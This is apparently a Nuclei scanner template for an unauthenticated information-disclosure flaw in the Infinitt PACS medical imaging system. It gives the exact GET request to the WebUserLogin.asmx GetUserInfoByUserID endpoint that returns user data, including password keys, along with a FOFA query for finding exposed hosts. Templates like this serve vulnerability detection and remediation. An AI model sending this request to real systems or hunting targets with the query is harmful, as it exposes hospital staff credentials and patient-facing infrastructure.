id: infinitt-pacs-info-disclosure

info:
  name: Infinitt PACS System - Information Disclosure
  author: adeljck
  severity: high
  description: |
    Infinitt PACS System is vulnerable to an Information Disclosure vulnerability. By sending a crafted request, an attacker can obtain sensitive user information, including passwords.
  remediation: |
    Ensure that access to the WebUserLogin.asmx endpoint is restricted and requires authentication. Implement proper access controls and input validation to prevent unauthorized access to sensitive user information.
  metadata:
    verified: true
    max-request: 1
    fofa-query: icon_hash="1474455751" || icon_hash="702238928"
  tags: infinitt,disclosure,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webservices/WebUserLogin.asmx/GetUserInfoByUserID?userID=admin"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<web_user_login>"
          - "<USER_KEY>"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d717f8e0142762116c6598db463553048ceb2f3ee5f34b10a817dd65100101cd0220739818efa6bcd4c14fc3b75389daa6b20675174daa462966f0c8f1d49fe17fff:922c64590222798bb761d5b6d8e72950